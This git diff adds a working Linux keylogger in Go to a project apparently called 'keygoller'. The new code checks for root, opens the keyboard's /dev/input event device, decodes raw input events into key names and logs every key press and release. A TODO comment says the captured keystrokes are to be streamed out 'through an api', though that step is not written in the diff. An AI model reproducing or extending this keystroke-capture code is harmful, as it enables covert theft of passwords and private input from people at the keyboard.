diff --git a/go.sum b/go.sum index 46e5ef0..db53863 100644 --- a/go.sum +++ b/go.sum @@ -1,9 +1,12 @@ +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= golang.org/x/sys v0.0.0-20190422165155-953cdadca894 h1:Cz4ceDQGXuKRnVBDTS23GTn/pU5OE2C0WrNTOYK1Uuc= golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= diff --git a/main.go b/main.go index 9effe9d..e6dc717 100644 --- a/main.go +++ b/main.go @@ -1,13 +1,24 @@ package main import ( + "bytes" + "encoding/binary" + "errors" "fmt" "io/ioutil" + "os" "strings" + "syscall" + "git.postblue.info/keygoller/utils" "github.com/sirupsen/logrus" ) +// KeyLogger is a wrapper around a file descriptor. +type KeyLogger struct { + fd *os.File +} + func getKeyboard() string { path := "/sys/class/input/event%d/device/name" resolved := "/dev/input/event%d" @@ -24,11 +35,100 @@ func getKeyboard() string { return "" } +func (k *KeyLogger) IsRoot() bool { + return syscall.Getuid() == 0 && syscall.Geteuid() == 0 +} + +func New(path string) (*KeyLogger, error) { + k := &KeyLogger{} + if !k.IsRoot() { + return nil, errors.New("must be root") + + } + fd, err := os.Open(path) + if err != nil { + return nil, err + } + k.fd = fd + return k, nil +} + +func (k *KeyLogger) Read() chan utils.InputEvent { + event := make(chan utils.InputEvent) + go func(even chan utils.InputEvent) { + for { + stream, err := k.read() + if err != nil { + logrus.Error(err) + close(event) + break + } + + if stream != nil { + event <- *stream + } + + } + }(event) + return event +} + +func (k *KeyLogger) read() (*utils.InputEvent, error) { + buffer := make([]byte, utils.Eventsize) + n, err := k.fd.Read(buffer) + if err != nil { + return nil, err + } + + if n <= 0 { + return nil, nil + } + + return k.eventFromBuffer(buffer) +} + +func (k *KeyLogger) eventFromBuffer(buffer []byte) (*utils.InputEvent, error) { + event := &utils.InputEvent{} + err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event) + return event, err +} + +func (k *KeyLogger) Close() error { + if k.fd == nil { + return nil + } + + return k.fd.Close() +} + func main() { fmt.Println("Your keyboard input will be here: ", getKeyboard()) // TODO // !) get streaming data from keyboard // 2 unpackage the data to be human readable // 3 stream the data through an api + keyboard := getKeyboard() + klog, err := New(keyboard) + if err != nil { + logrus.Error(err) + os.Exit(1) + } + defer klog.Close() + events := klog.Read() + for e := range events { + switch e.Type { + + case utils.EvKey: + if e.KeyPress() { + logrus.Println("press key", e.KeyString()) + } + + if e.KeyRelease() { + logrus.Println("release key", e.KeyRelease()) + } + + break + } + } } diff --git a/utils/main.go b/utils/main.go index 571058a..6b9a917 100644 --- a/utils/main.go +++ b/utils/main.go @@ -1,5 +1,14 @@ package utils +import ( + "syscall" + "unsafe" +) + +const ( + EvKey EventType = 0x01 +) + // keyCodeMap connects the code with human readable key var KeyCodeMap = map[uint16]string{ 1: "ESC", @@ -122,3 +131,26 @@ var KeyCodeMap = map[uint16]string{ 118: "", 119: "Pause", } + +type EventType uint16 + +var Eventsize = int(unsafe.Sizeof(InputEvent{})) + +type InputEvent struct { + Time syscall.Timeval + Type EventType + Code uint16 + Value int32 +} + +func (i *InputEvent) KeyString() string { + return KeyCodeMap[i.Code] +} + +func (i *InputEvent) KeyPress() bool { + return i.Value == 1 +} + +func (i *InputEvent) KeyRelease() bool { + return i.Value == 0 +}